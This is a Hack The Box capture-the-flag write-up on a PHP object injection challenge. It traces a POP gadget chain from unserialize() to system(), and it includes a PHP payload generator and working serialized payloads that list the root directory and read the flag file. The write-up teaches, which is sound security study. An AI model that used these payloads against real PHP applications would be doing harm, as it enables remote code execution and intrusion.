Hack The Box — POP Restaurant Write-up

POP Restaurant is a PHP object injection challenge from Hack The Box. Rather than exploiting a running service blindly, this challenge provides the application source code, allowing us to review the code and identify a usable gadget chain.

The vulnerability lies in the unsafe use of PHP’s unserialize() function on user-controlled data. Our goal is to abuse the available magic methods to build a POP (Property-Oriented Programming) chain that eventually leads to remote command execution.

https://app.hackthebox.com/challenges/POP%2520Restaurant


Finding the Vulnerable Endpoint

I started by browsing the restaurant website while intercepting requests with Burp Suite. One request immediately stood out: a POST request to /order.php.

Reviewing the application source revealed that the submitted order data is Base64-decoded and then passed directly to PHP’s unserialize() function.

Whenever you see user-controlled input reaching unserialize(), it’s worth looking for magic methods (__destruct(), __get(), __invoke(), etc.) that can be chained together into a POP chain.


Understanding the Gadget Chain

The following chain of events can be triggered after a malicious object is deserialized:

  1. order.php deserializes the attacker-controlled object. When the request finishes, PHP automatically calls the object’s __destruct() method.
  2. We create a Pizza object. Its __destruct() method contains:
echo $this->size->what;

This attempts to access the what property on whatever object is stored inside $this->size.

  1. We set $this->size to a Spaghetti object. Since Spaghetti does not define a what property, PHP automatically invokes its __get() magic method.
  2. Inside Spaghetti::__get() we find:
($this->sauce)();

This treats the value stored in $sauce as a function and immediately executes it.

This is already enough to demonstrate arbitrary function execution. By controlling the value of $sauce, we can invoke any PHP function that is available to the application.


Building a Proof of Concept

To verify the gadget chain, I first built a simple payload that calls phpinfo().

<?php

// We need to define the classes so PHP can serialize objects from them.

// Only the properties we use are needed for the payload.

class Pizza
{
public $size;
}

class Spaghetti
{
public $sauce;
}

// 1. Create the inner gadget object.

$spaghetti = new Spaghetti();

// 2. Set the 'sauce' property to the function you want to call.

$spaghetti->sauce = 'phpinfo';



// 3. Create the outer object that starts the chain.

$pizza = new Pizza();

// 4. Set its 'size' property to our Spaghetti object.

$pizza->size = $spaghetti;



// 5. Serialize the object and prepare it for the POST request.

$payload = urlencode(base64_encode(serialize($pizza)));

echo $payload;

?>

Running the script produces the following serialized payload.

Tzo1OiJQaXp6YSI6MTp7czo0OiJzaXplIjtPOjk6IlNwYWdoZXR0aSI6MTp7czo1OiJzYXVjZSI7czo3OiJwaHBpbmZvIjt9fQ%3D%3D
O:5:"Pizza":1:{s:4:"size";O:9:"Spaghetti":1:{s:5:"sauce";s:7:"phpinfo";}}

The object structure looks like this after deserialization:

__PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => Pizza
[size] => __PHP_Incomplete_Class Object
(
[__PHP_Incomplete_Class_Name] => Spaghetti
[sauce] => phpinfo
)
)

Submitting this payload in the order request successfully triggers phpinfo(), confirming that the POP chain is working.

At this point we have confirmed arbitrary PHP function execution.


Achieving Command Execution

Calling arbitrary PHP functions is useful, but we ultimately want operating system command execution.

While reviewing the source code, I found additional classes that extend the original gadget chain, eventually reaching a call to PHP’s system() function.

The following serialized payload executes:

ls /
O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:21:"\Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:4:"ls /";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}
Tzo1OiJQaXp6YSI6Mzp7czo1OiJwcmljZSI7TjtzOjY6ImNoZWVzZSI7TjtzOjQ6InNpemUiO086OToiU3BhZ2hldHRpIjozOntzOjU6InNhdWNlIjtPOjg6IkljZUNyZWFtIjoyOntzOjc6ImZsYXZvcnMiO086MjE6IlxIZWxwZXJzXEFycmF5SGVscGVycyI6NDp7aTowO2k6MDtpOjE7YToxOntpOjA7czo0OiJscyAvIjt9aToyO2E6MTp7czo4OiJjYWxsYmFjayI7czo2OiJzeXN0ZW0iO31pOjM7Tjt9czo3OiJ0b3BwaW5nIjtOO31zOjc6Im5vb2RsZXMiO047czo3OiJwb3J0aW9uIjtOO319

Executing the payload reveals the contents of the root directory.

Among the files is the randomly generated flag file.


Reading the Flag

With command execution established, retrieving the flag is simply a matter of replacing the command with:

cat /pBhfMBQlu9uT_flag.txt

The final payload becomes:

O:5:"Pizza":3:{s:5:"price";N;s:6:"cheese";N;s:4:"size";O:9:"Spaghetti":3:{s:5:"sauce";O:8:"IceCream":2:{s:7:"flavors";O:21:"\Helpers\ArrayHelpers":4:{i:0;i:0;i:1;a:1:{i:0;s:26:"cat /pBhfMBQlu9uT_flag.txt";}i:2;a:1:{s:8:"callback";s:6:"system";}i:3;N;}s:7:"topping";N;}s:7:"noodles";N;s:7:"portion";N;}}
Tzo1OiJQaXp6YSI6Mzp7czo1OiJwcmljZSI7TjtzOjY6ImNoZWVzZSI7TjtzOjQ6InNpemUiO086OToiU3BhZ2hldHRpIjozOntzOjU6InNhdWNlIjtPOjg6IkljZUNyZWFtIjoyOntzOjc6ImZsYXZvcnMiO086MjE6IlxIZWxwZXJzXEFycmF5SGVscGVycyI6NDp7aTowO2k6MDtpOjE7YToxOntpOjA7czoyNjoiY2F0IC9wQmhmTUJRbHU5dVRfZmxhZy50eHQiO31pOjI7YToxOntzOjg6ImNhbGxiYWNrIjtzOjY6InN5c3RlbSI7fWk6MztOO31zOjc6InRvcHBpbmciO047fXM6Nzoibm9vZGxlcyI7TjtzOjc6InBvcnRpb24iO047fX0=

Submitting the payload prints the contents of the flag file.


Conclusion

This challenge is an excellent introduction to PHP Object Injection and Property-Oriented Programming (POP). Rather than relying on a single vulnerable function, the exploit chains together multiple magic methods across different classes until execution reaches a dangerous sink (system()).

The key takeaway is that calling unserialize() on untrusted data is inherently dangerous. Even if individual classes appear harmless, their magic methods can often be combined into powerful gadget chains that lead to arbitrary code execution.

Leave a Comment

Your email address will not be published. Required fields are marked *

Scroll to Top